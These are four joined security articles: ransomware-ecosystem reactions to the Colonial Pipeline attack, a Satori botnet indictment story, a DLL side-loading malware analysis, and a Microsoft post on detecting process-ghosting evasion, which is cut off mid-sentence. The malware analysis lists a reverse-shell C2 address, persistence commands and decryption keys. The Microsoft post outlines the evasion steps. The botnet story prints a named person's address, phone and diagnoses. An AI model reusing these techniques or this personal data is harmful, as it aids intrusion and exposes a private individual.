affiliates via a RaaS model and have been successfully growing their operations since. ## CARBON SPIDER’s Reaction On May 10, 2021, CARBON SPIDER posted a press release to the DarkSide dedicated leak site (DLS) stating they are “apolitical,” do not participate in “geopolitics,” and their “goal is to make money, and not creating problems for society.” CARBON SPIDER further stated there is “no need” to associate the group with a “defined government,” and that they are introducing a system to check potential affiliate victims of the RaaS before encryption to prevent “social consequences.” CrowdStrike Intelligence assesses that CARBON SPIDER is highly likely located in Russia or neighboring countries, and there is currently no indication the group or any DarkSide RaaS affiliates are associated with any state-operated or politically motivated threat actors. The rapid response and introduction of a vetting process for affiliate victims suggests CARBON SPIDER is aware the Colonial Pipeline incident was conducted by an affiliate of the DarkSide RaaS as opposed to CARBON SPIDER themselves. This is based on the imposition of moderation and checking of potential partner victims prior to infection with DarkSide. A statement on May 13, 2021 — purportedly from CARBON SPIDER — claimed the adversary group lost access to the DarkSide DLS, payment servers and content delivery network (CDN) servers. The statement also claimed CARBON SPIDER servers had been blocked “at the request of law enforcement agencies.” Furthermore, cryptocurrency allegedly belonging to CARBON SPIDER and their clients had been transferred to an unknown address. A revision to the statement (subsequently made by the “Russian OSINT” Telegram channel) claimed that “no arrests were made” and “DarkSide has simply shut down.” Whether the DarkSide RaaS will remain closed permanently is currently unclear; however, new infrastructure for other CARBON SPIDER tools has been identified since the alleged DarkSide shutdown, indicating CARBON SPIDER will highly likely remain a sophisticated and active threat actor. ## Forum Reactions On May 13, 2021, XSS forum administrators made an extensive post detailing their prohibition of ransomware-related posts and ban on threads associated with ransomware affiliate programs, rental and sale. All future topics meeting any of the criteria will reportedly be removed — threads related to Avaddon, DarkSide, LockBit, REvil and Trinage ransomware were all removed from the forum. The following reasons were provided for the change in policy: - The main purpose of the forum is “technical education” and research, and these goals do not align with the purely financial motivations of ransomware operators. - “Newbies” attract media attention under the pretense of making large sums of money without learning, coding, or thinking, and with minimal effort and restraint. - Ransomware has become a hugely covered topic in the media and attracts negative attention through “hype,” “noise,” and “nonsense.” - Ransomware has become associated with a “number of unpleasant phenomenon,” including geopolitics, extortion and government hacking. The following day, similar posts appeared on Exploit and RaidForums stating that due to the mass-media attention, it was no longer feasible to entertain posts relating to ransomware. The statement on Exploit suggested that this restriction only applied to ransomware specifically, allowing other content — criminal or otherwise — to continue without restriction. ## Ransomware Operators’ Reactions PINCHY SPIDER, developers and operators of the popular REvil RaaS, announced intentions to move away from the forums to private communications, and additionally detailed “significant restrictions” on future REvil operations: - Social-sector victims (such as academic and healthcare organizations) are not to be infected. - Infections against government-sector entities in any country are strictly prohibited. - Affiliates must provide the owners of the RaaS with detailed information regarding any potential target and obtain permission prior to initiating ransomware operations. RIDDLE SPIDER, operators of the Avaddon RaaS, posted a similar announcement “due to the current situation” in the U.S., listing the following restrictions on future Avaddon operations: - Entities in the Commonwealth of Independent States (CIS) are not to be infected. - Work against public-sector victims (such as academic and healthcare organizations) is prohibited. - Permission of the “administration” must be sought prior to infection. In contrast, the operators of Babuk Locker ransomware criticized the reactions within the eCrime community, predicted RaaS “will die,” encouraged “pentesters” (likely a reference to eCrime actors specializing in compromising networks) to abandon public RaaS programs, and announced intentions to launch a “huge platform for independent leaks” — supposedly for use by “successful no-name teams” who do not run from the “ship like rats and change the policy” of their operations. ## Access Brokers The changes on the criminal underground forums have also impacted other eCrime actors, including access brokers. Access brokers are threat actors that gain backend access to various organizations and advertise this access to other eCrime actors via criminal underground forums or private communication channels. Access broker offerings are heavily tailored toward BGH operators and their affiliates, often including the annual revenue of the victim — acquired from public sources — as this can be used to calculate the potential ransom demand. Since the beginning of 2021, CrowdStrike Intelligence has observed access brokers advertise initial access to entities in the energy sector, including oil and gas companies. Entities in these sectors can be lucrative victims since they often possess relatively large annual revenues that are of interest to ransomware operators and affiliates. On Jan. 2, 2021, a Ukraine-based access broker stated in a dual English- and Russian-language forum that they were planning to deploy an unspecified ransomware variant against an oil and gas entity. A portion of funds received from this operation was later transferred to an associated group of Bitcoin (BTC) wallets that also received the ransom from the Colonial Pipeline incident. On Feb. 13 and March 7, 2021, the access broker barf advertised administrator and user access to two different entities in the energy and the oil and gas sectors on a dual English- and Russian-language forum. Since the Colonial Pipeline incident and the changes introduced by the forum administrators, there has been a general decline in the number of access broker advertisements on the forums — aside from one Brazil-based access broker targeting a Europe-based oil and gas company who is seemingly intent on selling their access despite the ban on ransomware-related offerings. Similar to the reaction by RaaS operators, access broker activity is unlikely to cease, but brokers will likely increasingly adopt the use of private communications for advertising and selling access in the near term. Access brokers will almost certainly continue to target entities within the energy sector as the vertical remains a lucrative target for ransomware operations, and access brokers profit from providing initial access opportunities. ## Looking Forward The intense attention surrounding the Colonial Pipeline incident has had a significant impact on the criminal marketplace and the political landscape. Scrutiny of this event will almost certainly alter how ransomware operators conduct their activity and how government and law enforcement agencies respond to the ransomware threat. RaaS operators, such as CARBON SPIDER (DarkSide), PINCHY SPIDER (REvil), and RIDDLE SPIDER (Avaddon), have apparently accepted blanket forum bans on the discussion and marketing of ransomware services. These bans likely spell the end for most public communications regarding affiliate and partner recruitment. The aforementioned groups have also issued warnings to their affiliates that they must request approval prior to deploying ransomware across a victim environment. These new guidelines are a response to fallout from the Colonial Pipeline incident — likely caused by an unseasoned DarkSide RaaS affiliate — who likely failed to conduct proper due diligence on Colonial Pipeline before infecting them. While the attack was certainly deliberate, the significant social and economic consequences were either unconsidered or underestimated. This attack was likely not meant to intentionally disrupt gasoline supply to a wide swath of the U.S. East Coast: Colonial Pipeline stated that it “proactively took certain systems offline to contain the threat, which temporarily halted all pipeline operations.” While the operators of Babuk Locker have been defiant in the wake of the Colonial Pipeline ransomware incident, other actors (such as WIZARD SPIDER) have not publicly responded to the attention on the ransomware marketplace. These adversaries already operate a private operation with only trusted partners and affiliates, and it is unlikely such groups will publicly respond at all. Most public RaaS vendors will likely retreat for a short- to medium-timeframe and will continue to operate in a more closed and private fashion — a choice already demonstrated by PINCHY SPIDER. While CARBON SPIDER allegedly closed their DarkSide RaaS, the adversary is successful, sophisticated, and resourceful, and has not ceased all activity. CARBON SPIDER, and possibly other RaaS vendors, will likely take time to reevaluate their operations and return to eCrime activity — albeit not necessarily involving ransomware — under a new name or brand. The recent developments surrounding the Colonial Pipeline incident and subsequent reactions from ransomware operators showcase the importance of maintaining situational awareness of quickly evolving threats. This is facilitated by monitoring the shifting dynamics in underground criminal communities but also by understanding the context and impact these activities have on the overall ecosystem. Proactive measures (such as active monitoring) are critical to staying ahead of the adversary to protect your organization.
# Alleged ‘Satori’ IoT Botnet Operator Sought Media Spotlight, Got Indicted A 20-year-old from Vancouver, Washington was indicted last week on federal hacking charges for allegedly operating the “Satori” botnet, a malware strain unleashed last year that infected hundreds of thousands of wireless routers and other Internet of Things (IoT) devices. This outcome is hardly surprising given that the accused’s alleged alter ego has been relentless in seeking media attention for this global crime machine. Schuchman, in an undated photo posted online and referenced in a “dox,” which alleged in February 2018 that Schuchman was Nexus Zeta. The Daily Beast’s Kevin Poulsen broke the news last week that federal authorities in Alaska indicted Kenneth Currin Schuchman of Washington on two counts of violating the Computer Fraud and Abuse Act by using malware to damage computers between August and November 2017. The 3-page indictment is incredibly sparse and includes few details about the meat of the charges against Schuchman. But according to Poulsen, the charges are related to Schuchman’s alleged authorship and use of the Satori botnet. Satori, also known as “Masuta,” is a variant of the Mirai botnet, a powerful IoT malware strain that first came online in July 2016. “Despite the havoc he supposedly wreaked, the accused hacker doesn’t seem to have been terribly knowledgeable about hacking,” Poulsen notes. Schuchman reportedly went by the handle “Nexus Zeta,” the nickname used by a fairly inexperienced and clumsy ne’er-do-well who has tried on multiple occasions to get KrebsOnSecurity to write about the Satori botnet. In January 2018, Nexus Zeta changed the login page for his botnet control panel that he used to remotely control his hacked routers to include a friendly backhanded reference to this author: “Masuta is powered and hosted on Brian Kreb’s [sic] 4head.” To be precise, it’s a 5head. This wasn’t the first time Nexus Zeta said hello. In late November 2017, he chatted me up on Twitter and Jabber instant message for several days. Most of the communications came from two accounts: “9gigs_ProxyPipe” on Twitter and [email protected] (9gigs_ProxyPipe would later change its Twitter alias to Nexus Zeta, and Nexus Zeta himself admitted that 9gigs_ProxyPipe was his Twitter account). In each case, this person wanted to talk about a new IoT botnet that he was “researching” and that he thought deserved special attention for its size and potential disruptive impact should it be used in a massive Distributed Denial-of-Service (DDoS) attack aimed at knocking a website offline — something for which Satori would soon become known. Nexus Zeta’s Twitter nickname initially confused me because both 9gigs and ProxyPipe are names claimed by Robert Coelho, owner of ProxyPipe hosting. Coelho’s sleuthing was quite instrumental in helping to unmask 21-year-old New Jersey resident Paras Jha as the author of the original Mirai IoT botnet (Jha later pleaded guilty to co-authoring and using Mirai and is due to be sentenced this month in Alaska and New Jersey). “Ogmemes” is from a nickname used by Jha and his Mirai botnet co-author. On November 28, 2017, 9gigs_ProxyPipe sent a message to the KrebsOnSecurity Twitter account: “I have some information in regards to an incredibly dangerous IoT botnet you may find interesting,” the Twitter message read. “Let me know how you would prefer to communicate assuming you are interested.” We connected on Jabber instant message. In our chats, Ogmemes123 said he couldn’t understand why nobody had noticed a botnet powered by a Mirai variant that had infected hundreds of thousands of IoT devices (he estimated the size of the botnet to be about 300,000-500,000 at the time). He also talked a lot about how close he was with Jha. Nexus Zeta’s Twitter account profile photo is a picture of Paras Jha. He also said he knew this new botnet was being used to attack ProxyPipe. Less than 24 hours after that tweet from Nexus Zeta, I heard from ProxyPipe’s Coelho. They were under attack from a new Mirai variant. “We’ve been mitigating attacks recently that are about 270 gigabits [in volume],” Coelho wrote in an email. “Looks like somebody tagged you on Twitter pretending to be from ProxyPipe — likely the attacker? Just wanted to give you a heads up since that is not us, or anyone that works with ProxyPipe.” From reviewing Nexus Zeta’s myriad postings on the newbie-friendly hacker forum Hackforums-dot-net, it was clear that Nexus Zeta was an inexperienced, impressionable young man who wanted to associate himself with people closely tied to the 2017 whodunnit over the original Mirai IoT botnet variant. He also asked other Hackforums members for assistance in assembling his Mirai botnet. In one conversation with Ogmemes123, I lost my cool and told him to quit running botnets or else go bore somebody else with his quest for publicity. He mostly stopped bugging me after that. That same day, Nexus Zeta spotted a tweet from security researcher Troy Mursch about the rapid growth of a new Mirai-like botnet. “This is an all-time record for the most new unique IP addresses that I’ve seen added to the botnet in one day,” Mursch tweeted of the speed with which this new Mirai strain was infecting devices. For weeks after that tweet, Nexus Zeta exchanged private Twitter messages with Mursch and his team of botnet hunters at Bad Packets LLC in a bid to get them to tweet or write about Satori/Masuta. The following screenshots from their private Twitter discussions, republished with Mursch’s permission, showed that Nexus Zeta kept up the fiction about his merely “researching” the activities of Satori. Mursch played along and asked gently probing questions about the size, makeup, and activities of a rapidly growing Satori botnet. Early in their conversations, Nexus Zeta says he is merely following the visible daily Internet scanning that Satori generated in a constant search for newly infectable IoT devices. But as their conversations continue over several weeks, Nexus Zeta intimates that he has much deeper access to Satori. Although it long ago would have been easy to write a series of stories about this individual and his exploits, I had zero interest in giving him the attention he clearly craved. But thanks to naivete and apparently zero sense of self-preservation, Nexus Zeta didn’t have to wait long for others to start connecting his online identities to his offline world. On December 5, Chinese cybersecurity firm Netlab360 released a report on Satori noting that the IoT malware was spreading rapidly to Chinese-made Huawei routers with the help of two security vulnerabilities, including one “zero day” flaw that was unknown to researchers at the time. The report said a quarter million infected devices were seen scanning for vulnerable systems, and that much of the scanning activity traced back to infected systems in Argentina, Colombia, and Egypt, the same hotspots that Nexus Zeta cited in his November 29 Twitter chat with Troy Mursch. In a taunting post published December 29, 2017, titled “Good Zero Day Kiddie,” researchers at Israeli security firm CheckPoint pointed out that the domain name used as a control server to synchronize the activities of the Satori botnet — nexusiotsolutions-dot-net — was registered in 2016 to the email address [email protected]. The CheckPoint report noted the name supplied in the original registration records for that domain was a “Caleb Wilson,” although the researchers correctly noted that this could be a pseudonym. Perhaps the CheckPoint folks also knew the following tidbit but chose not to publish it in their report: The email address [email protected] was only ever used to register a single domain name (nexusiotsolutions-dot-net), according to a historic WHOIS record search at Domaintools.com. But the phone number in that original domain name record was used to register one other domain: zetastress-dot-net (a “stresser” is another name for a DDoS-for-hire service). The registrant name listed in that original record? You guessed it: **Registrant Name:** Kenny Schuchman **Registrant Organization:** ZetaSec Inc. **Registrant Street:** 8709 Ne Mason Dr, No. 4 **Registrant City:** Vancouver **Registrant State/Province:** Washington **Registrant Postal Code:** 98662 **Registrant Country:** US **Registrant Phone:** +1.3607267966 **Registrant Email:** [email protected] In April 2018, I heard from a source who said he engaged Nexus Zeta in a chat about his router-ravaging botnet and asked what kind of router Nexus Zeta trusted. According to my source, Nexus Zeta shared a screenshot of the output from his wireless modem’s Web interface, which revealed that he was connecting from an Internet service provider in Vancouver, Wash., where Schuchman lives. “Nexus is known by many to be autistic and a compulsive liar,” the dox begins. “He refused to acknowledge that he was wrong or apologize, and since he has extremely poor opsec (uses home IP on everything), we have decided to dox him. He was only hung around by few for the servers he had access to. He lies about writing exploits that were made before his time and faking bot counts on botnets he made. He’s lied about having physical contact with Anna Senpai (Author of Mirai Botnet).” As detailed in the Daily Beast story and Nexus Zeta’s dox, Schuchman was diagnosed with Asperger Syndrome and autism disorder, and at one point when he was 15, Schuchman reportedly wandered off while visiting a friend in Bend, Ore., briefly prompting a police search before he was found near his mother’s home in Vancouver, Wash. Nexus Zeta clearly had limited hacking skills initially and almost no operational security. Indeed, his efforts to gain notoriety for his illegal hacking activities eventually earned him just that, as it usually does. But it’s clear he was a quick learner; in the span of about a year, Nexus Zeta was able to progress from a relatively clueless newbie to the helm of an international menace that launched powerful DDoS attacks while ravaging hundreds of thousands of systems.
# A New APT Uses DLL Side-loads to “KilllSomeOne” **Gabor Szappanos** **November 4, 2020** Recently, we’ve observed several cases where DLL side-loading was used to execute malicious code. Side-loading is the use of a malicious DLL spoofing a legitimate one, relying on legitimate Windows executables to load and execute the malicious code. While the technique is far from new—we first saw it used by (mostly Chinese) APT groups as early as 2013, before cybercrime groups started to add it to their arsenal—this particular payload was not one we’ve seen before. It stands out because the threat actors used several plaintext strings written in poor English with politically inspired messages in their samples. The cases are connected by a common artifact: the program database (PDB) path. All samples share a similar PDB path, with several of them containing the folder name “KilllSomeOne.” Based on the targeting of the attacks—against non-governmental organizations and other organizations in Myanmar—and other characteristics of the malware involved, we have reason to believe that the actors involved are a Chinese APT group. ## Shell Game We have identified four different side-loading scenarios that were used by the same threat actor. Two of these delivered a payload carrying a simple shell, while the other two carried a more complex set of malware. Combinations from both of these sets were used in the same attacks. ### Scenario 1 **Components** - Aug.exe: clean loader (originally MsMpEng.exe, a Microsoft antivirus component) - mpsvc.dll: malicious loader - Groza_1.dat: encrypted payload The main code of the attack is in mpsvc.dll’s exported function ServiceCrtMain. That function loads and decrypts the final payload, stored in the file Groza_1.dat. The encryption is a simple XOR algorithm, where the key is the following string: *Hapenexx is very bad*. While analyzing the binary for the loader used in this attack type, we found the following PDB path: *C:\Users\guss\Desktop\Recent Work\U\U_P\KilllSomeOne\0.1\msvcp\Release\mpsvc.pdb* ### Scenario 2 **Components** - AUG.exe: clean loader (renamed Microsoft DISM.EXE) - dismcore.dll: malicious loader - Groza_1.dat: encrypted payload The loader has the following PDB path: *C:\Users\guss\Desktop\Recent Work\U\U_P\KilllSomeOne\0.1\msvcp\Release\DismCore.pdb* The main code is in the exported function DllGetClassObject. It uses the same payload name (Groza_1.dat) and password (Hapenexx is very bad) as the first case, only this time both the file name and the decryption key are themselves encrypted with a one-byte XOR algorithm. In both of these cases, the payload is stored in the file named Groza_1.dat. The content of that file is a PE loader shellcode, which decrypts the final payload, loads it into memory, and executes it. The first layer of the loader code contains an unused string: *AmericanUSA*. It has a PE loader shellcode that decrypts the final payload, loads it into memory, and executes it. The final payload is a DLL file that has the PDB path: *C:\Users\guss\Desktop\Recent Work\UDP SHELL\0.7 DLL\UDPDLL\Release\UDPDLL.pdb* The DLL is a simple remote command shell, connecting back to a server with the IP address 160.20.147.254 on port 9999. The code contains a string that is used to generate a key to decrypt the content of data received from the command and control server: *Happiness is a way station between too much and too little.* ## More Ways to KillSomeone The other two observed types of KillSomeOne DLL side-loading deliver a fairly sophisticated installer for the simple shell—one that establishes persistence and does the housekeeping required to conceal the malware and prepare file space for collecting data. While they carry different payload files (adobe.dat in one case, and x32bridge.dat in the other), the executables derived from these two files are essentially the same; both have the PDB path: *C:\Users\guss\Desktop\Recent Work\U\U_P\KilllSomeOne\0.1\Function_hex\hex\Release\hex.pdb* ### Scenario 3 **Components** - SafeGuard.exe: clean loader (Adobe component) - hex.dll: malicious loader - adobe.dat: encrypted payload The malicious loader loads the payload from the file named adobe.dat and uses a similar XOR decryption to that used in Scenario 1. The only significant difference is the encryption key, which in this case is the string *HELLO_USA_PRISIDENT*. ### Scenario 4 **Components** - Mediae.exe: clean loader - x32dbg.exe: clean loader - msvcp120.dll: clean DLL (dependency of x32dbg) - msvcr120.dll: clean DLL (dependency of x32dbg) - x32bridge.dll: malicious loader - x32bridge.dat: payload In Scenario 4, the PDB path of the loader is changed to: *C:\Users\B\Desktop\0.1\major\UP_1\Release\functionhex.pdb* The main code is in the exported function BridgeInit. The payload is stored in the file x32bridge.dat, and it is encoded with a XOR algorithm; the key is the same as in case 3—*HELLO_USA_PRISIDENT*. ## I Think I Smell a Rat The initial stage extracted from the two payload files in both these scenarios is the installer, which is loaded into memory from the .dat file by the initial malicious DLL. When loaded, it drops all components for another DLL side-loading case to several directories: - C:\ProgramData\UsersData\Windows_NT\Windows\User\Desktop - C:\Users\All Users\UsersData\Windows_NT\Windows\User\Desktop - %PROFILE%\Users - C:\Users\Public\Public Media The installer also assigns the files the “hidden” and “system” attributes to conceal them from users. Some of the components dropped by the KillSomeOne installer payload. The installer then closes the executable used in the initial stage of the attack and starts a new instance of explorer.exe to side-load the dropped DLL component. This is an effort to conceal the execution since the targeted system’s process list will only show another explorer.exe process (and not the renamed clean executable, which might stand out upon examination). The installer also looks for a running process with a name starting with “AAM,” then kills the process and deletes the file associated with it in C:\ProgramData and C:\Users\All Users. This is likely because earlier PlugX side-loading scenarios used the clean file name “AAM Updates.exe,” and this mechanism removes earlier infections. It also takes several steps to ensure persistence, including the creation of a task that executes the side-loading executable that began the deployment: `schtasks /create /sc minute /mo 5 /tn LKUFORYOU_1 /tr` Additionally, it creates a registry auto-run key that does the same thing: `Software\Microsoft\Windows\CurrentVersion\Run\SafeGuard` The side-loaded DLL uses an event name to identify itself when running—*LKU_Test_0.1* if running from C:\ProgramData, or *LKU_Test_0.2* if running from %USERHOME%. The installer also configures the system for data exfiltration. On removable and non-system drives, it creates a desktop.ini file with settings to create a folder to the “Recycle Bin” type: ``` [.ShellClassInfo] CLSID={645FF040-5081-101B-9F08-00AA002F954E} IconResource=%systemroot%\system32\SHELL32.dll,7 ``` It then copies files to the Recycle Bin on the drive in the subfolder ‘files’ and also collects system information, including volume names and free disk space. Lastly, it copies all the .dat files dropped—including those used in the other side-loading scenarios—into the installation directories. Then the installer loads akm.dat, the file containing the next payload—the loader. The loader is a simple DLL file, which, unlike the rest of the payloads, is not encrypted. It is a plain Windows PE file with a single export name, Start—the main function in the DLL, which builds a command line with the location of AUG.exe (the renamed Microsoft DISM.EXE): `c:\programdata\usersdate\windows_nt\windows\user\desktop\AUG.exe` Then it executes the command line, which would invoke side-loading scenario 1 or 2. ## Mixed Signals The types of perpetrators behind targeted attacks in general are not a homogeneous pool. They come with very different skill sets and capabilities. Some of them are highly skilled, while others don’t have skills that exceed the level of average cybercriminals. The group responsible for the attacks we investigated in this report don’t clearly fall on either end of the spectrum. They moved to more simple implementations in coding—especially in encrypting the payload—and the messages hidden in their samples are on the level of script kiddies. On the other hand, the targeting and deployment is that of a serious APT group. Based on our analysis, it’s not clear whether this group will go back to more traditional implants like PlugX or keep going with their own code. We will continue to monitor their activity to track their further evolution.
# Using Process Creation Properties to Catch Evasion Techniques We developed a robust detection method in Microsoft Defender for Endpoint that can catch known and unknown variations of a process execution class used by attackers to evade detection. This class of stealthy execution techniques breaks some assumptions made by security products and enables attackers to escape antimalware scans by circumventing process creation callbacks using a legacy process creation syscall. Publicly known variations of this class are process doppelganging, process herpaderping, and process ghosting. Evasion techniques used by attackers often involve running malware within the context of a trusted process or hiding code from filesystem and memory scanners. More sophisticated attackers even carefully choose their process host so that their actions are run by a process that often performs these actions for benign reasons. For example, a browser process communicating with the internet seems completely normal, while an instance of cmd.exe doing the same sticks out like a sore thumb. This class of stealthy execution techniques, however, allows malware to create its own malicious process and prevent antimalware engines from detecting it. This blog post presents our detailed analysis of how this process execution class works and how it takes advantage of Windows functionalities to evade detection. It also presents a peek into the research, design, and engineering concerns that go into the development of a detection method aiming to be as robust and future-proof as possible. ## Common Classes of Stealthy Process Execution On Windows systems, most methods attackers use to run code within another process fall within two classes: process injection and process hollowing. These classes allow attackers to run their code within another process without explicitly creating it from an executable or making it load a dynamic link library (DLL). Similar classes of techniques are often also called process injection, but this term will be used in a more specific definition for clarity. ### Process Injection Process injection, the widest and most common class, consists of different techniques that introduce attacker-supplied executable memory into an already running process. Techniques in this class consist of two main parts: - **Write primitive**: A Windows API function, or a set of APIs, used to introduce malware into the target process. - **Execution primitive**: A Windows API method to redirect the execution of the process to the code provided by the attacker. An example of a classic process injection flow is malware using the VirtualAllocEx API to allocate a buffer within a target process, WriteProcessMemory to fill that buffer with the contents of a malware module, and CreateRemoteThread to initiate a new thread in the target process, running the previously injected code. ### Process Hollowing In process hollowing, instead of abusing an already running process, an attacker might start a new process in a suspended state and use a write primitive to introduce their malware module before the process starts running. By redirecting the entry point of the process before unsuspending, the attacker may run their code without using an explicit execution primitive. Variants (and sometimes combinations) of both classes exist and differ from each other mostly by the APIs being used. ## New Stealth Techniques In the past few years, stealth techniques from a process execution class have emerged that don’t strictly fit into any of the previously mentioned classes. In this class, instead of modifying the memory of an already created (but perhaps not yet executing) process, a new process is created from the image section of a malware. By the time a security product is ready to scan the file, the malware bits aren’t there anymore, effectively pulling the rug from under antimalware scanners. This technique requires defenders to use a different detection method to catch attacks that use it. As of today, the following variations of this class are known publicly: - **Process doppelganging**: Abusing transactional NTFS features to create a volatile version of an executable file used for process creation, with the file never touching the disk. - **Process herpaderping**: Utilizing a writable handle to an executable file to overwrite the malware bits on disk before antimalware services can scan the executable, but after a process has already been created from the malicious version. - **Process ghosting**: Abusing a handle with delete permissions to the process executable to delete it before it has a chance to be scanned. This process execution class, including the variations mentioned above, takes advantage of the way the following functionalities in the operating system are designed to evade detection by security products: - Antimalware engines don’t scan files after every single modification. - Process creation callbacks, the operating system functionality that allows antimalware engines to scan a process when it’s created, is invoked only when the first thread is inserted into a process. - NtCreateProcessEx, a legacy process creation syscall, allows the creation of a process without populating it with any thread. ## When Are Files Scanned? A key feature of this process execution class is circumventing a file scan. Ideally, files are scanned whenever they’re modified. Otherwise, an attacker could simply modify an existing file into a malicious one, use it to create a process, and then either revert the file or delete it. So, why aren’t files scanned on every file change? The answer lies in performance concerns. Consider a scenario in which a 1MB file is opened, and it’s overwritten by calling an API like WriteFile for every byte that needs to be overwritten. While only 1MB would be written to disk, the file would have to be scanned one million times, resulting in ~1 terabyte of data being scanned! While the example is a good way to assure no detectably malicious content is written to disk, the amount of computing power it will use up makes it an unviable solution. Even a caching solution would simply shift the high resource usage to memory, as a product would need to keep information about the content of every single open file on the machine to be useful. Therefore, the most common design for file scanning engines ignores the various transient states of the file content and initiates a scan whenever the handle to the file is closed. This is an optimal signal that an application is done modifying a file for now, and that a scan would be meaningful. To determine what the file is about to execute as a process, the antimalware engine scans the file’s content at the time of process creation through a process creation callback. Process creation callbacks in the kernel, such as those provided by the PsSetCreateProcessNotifyRoutineEx API, is the functionality in the operating system that allows antimalware engines to inspect a process while it’s being created. It can intercept the creation of a process and perform a scan on the relevant executable, all before the process runs. Process creation notification isn’t invoked right when a process creation API is called, but rather when the first thread is inserted into a process. But since NtCreateUserProcess, the syscall used by all common high-level APIs to create a process, is designed to do a lot of the work required to create a process in the kernel, the insertion of the initial thread into the created process happens within the context of the syscall itself. This means that the callback launches while the process is still being created, before user mode has a chance to do anything. ## How Are Processes Created? The syscall NtCreateUserProcess has only been available since the release of Windows Vista. Processes created by the CreateProcess API or any API using the NtCreateUserProcess syscall only provide the path to the executable. Meanwhile, the kernel opens the file without any share access that could allow modification (no SHARE_WRITE/SHARE_DELETE), creates an image section, and returns to user mode with the process pretty much ready to run. This means that an attacker doesn’t have the time or the capability to modify an executable file after calling NtCreateUserProcess, but only before it’s scanned. Versions of the NT kernel prior to the release of Windows Vista used a different syscall called NtCreateProcessEx. This function doesn’t adhere to the principle of doing a lot of the work in the kernel and in fact delegates a lot of the work normally associated with process creation on modern Windows platforms to user mode. One difference between the two is that NtCreateProcessEx doesn’t receive a path to the process executable as an argument, as is the case with NtCreateUserProcess. NtCreateProcessEx expects the application to open the file on its own and create an image section from that file, which will be used as the main image section of the process, and the handle to which will be passed to NtCreateProcessEx. Also, unlike NtCreateUserProcess, NtCreateProcessEx creates a process object without populating the process with any threads, and the user application needs to explicitly insert the initial thread into the process using an API like NtCreateThread. Combining this information with what we know about process creation callbacks allows us to come up with a generic flow for this stealthy process creation technique: 1. The attacker opens the malware file and brings it into a transient modifiable state (writable without closing a handle, delete pending or an uncommitted transaction, and some other unpublished ones) while having malware content. The attacker doesn’t close the file yet. 2. The attacker creates an image section from the file handle using NtCreateSection(Ex). 3. The attacker creates a process using the image section handle as input. 4. The attacker reverts the file’s transient state to a benign state (the file is deleted or overwritten, or a transaction is rolled back), and the handle is closed. At this point, the bits of the malware still exist in memory as the image section object is still there, but there is no trace of the malware content on the disk. 5. The attacker inserts the initial thread into the process, and only then will the process creation notification callback for that process be launched. At that point, there is no malware content left to scan. 6. The attacker now runs the malware process without its backing file ever being scanned. In this generalized flow, a security product should be able to detect any variation of the technique if it can recognize that the process was created using the legacy NtCreateProcessEx syscall, which allows an adversary to run the process from a file in a transient state. Of course, one could circumvent the need for NtCreateProcessEx by performing a similar trick with loading DLLs. However, in this scenario, the adversary can either load a new DLL into a process they already have full code execution capabilities without changing its identity, or remotely place the offending DLL into another process, performing what is essentially process injection. In both cases, the technique’s effectiveness as an evasion method is greatly diminished. ## Detecting Legacy Process Creation The first anomaly to recognize to detect attacks using this technique is to find out whether a process was created using the legacy NtCreateProcessEx syscall. The simplest way to do so would be to utilize user-mode hooking on the appropriate function in the NTDLL library. However, this approach would be easy to bypass, as it’s assumed that the adversary has arbitrary execution capabilities in the process calling the syscall. This means they would be able to unhook any functions intercepted by a security product or simply directly call the syscall from their own assembly code. Even if the security product was to traverse the user-mode call stack from a process creation callback and check the return address against known values, the product would still be subject to evasion since an attacker could employ some creative pushes and jumps in assembly code to construct a spoofed user-mode call stack to their liking. To create a robust detection for this behavior, information that can’t be modified or spoofed by a user-mode adversary should be used. A good example of this is a Windows file system concept called extra create parameters (ECPs). ECPs are concepts that allow the kernel or a driver to attach some key-value information to a file create/open operation. The idea is very similar to extended file attributes, but instead of applying to an entire file on disk, ECPs are a transient property related to a specific instance of an open file. This mechanism allows the operating system and drivers to respond to a file being opened under some special circumstances. An example of such special circumstances is a file being opened via Server Message Block (SMB). When this happens, an SRV_OPEN_ECP_CONTEXT structure is added to the IRP_MJ_CREATE IRP with GUID_ECP_SRV_OPEN as a key. This ECP context contains information on the socket used for the communication with the SMB client, the name of the share which has been accessed, and some oplock information. A driver would then be able to use this information to appropriately handle the open operation, which might need some special treatment since the operation happened remotely. Interestingly, an exported, documented function named FsRtlIsEcpFromUserMode exists to determine whether an ECP originated in user mode or kernel mode. This raises the concern that forgetting to use this function in a driver or the OS would cause potential security issues, as a user mode adversary could spoof an ECP. That isn’t the case, though, as there is no functionality in the OS which allows a user to directly supply any ECP from user mode. The function itself checks whether a specific flag is set in the opaque ECP header structure, but there exists no code in the OS which can modify this flag. ### Using ECPs for Process Creation API Recognition Starting with Windows 10, a very interesting ECP has been added to the operating system whenever a new process is created using NtCreateUserProcess. The GUID_ECP_CREATE_USER_PROCESS ECP and its related CREATE_USER_PROCESS_ECP_CONTEXT context are applied to the IRP_MJ_CREATE operation when the Windows kernel opens the process executable file. On the other hand, as covered earlier, NtCreateProcessEx doesn’t open the process executable on its own but instead relies on the user to supply a section handle created from a file opened by the user themselves. Seeing as there is no way for the user to set the process creation ECP on their own handle, any process created using NtCreateProcessEx would be missing this ECP on the IRP_MJ_CREATE for its main image. Some cases exist in which the ECP wouldn’t be present even when the legacy API wasn’t used, but those can still be recognized. Barring those cases, the existence of the CREATE_USER_PROCESS ECP in the IRP_MJ_CREATE operation of the file object related to the main image of the process can now be used to precisely differentiate between processes created by NtCreateUserProcess and those created by NtCreateProcessEx. ## Detecting Processes Created from Files in a Transient State Since it’s now possible to check when the legacy process creation API has been used, the next step would be to check if the usage of the legacy process creation API was used to abuse the time-of-check-time-of-use (TOCTOU) issue involving process creation callbacks. This means that the executable image used to create the process has been opened and used in a transient state, which would already be rolled back when it’s to be scanned by an antimalware engine. To identify if TOCTOU was abused, it is important to examine the image section of the main executable of the process. Windows loads executable images into memory and shares their memory between processes using memory sections (also called memory-mapped files). Each FILE_OBJECT structure for an open file contains a member called SectionObjectPointers, which contains pointers to the data and image section control areas relevant to the file, depending on whether it has been mapped as a data file or an executable. The bits described by such a section may be backed either by a file on disk or by the page file (in which case the bits of the section won’t persist on disk). This property determines whether the mapped section can be flushed and recovered from a file or disk, or simply paged out. However, an interesting thing happens when the connection between an image section and its backing file is severed. This can happen if, for example, the file is located on a remote machine or some removable storage, Copy-on-Write has been triggered, or most importantly, if the file has been somehow modified after the section has been created or could be modified in the future. During such cases, the image section becomes backed by the page file instead of the original file from which it was created. The MmDoesFileHaveUserWritableReferences function provides the caller with the number of writable (or, more correctly, modifiable) references to the file object of a section and is used by the kernel transaction manager to 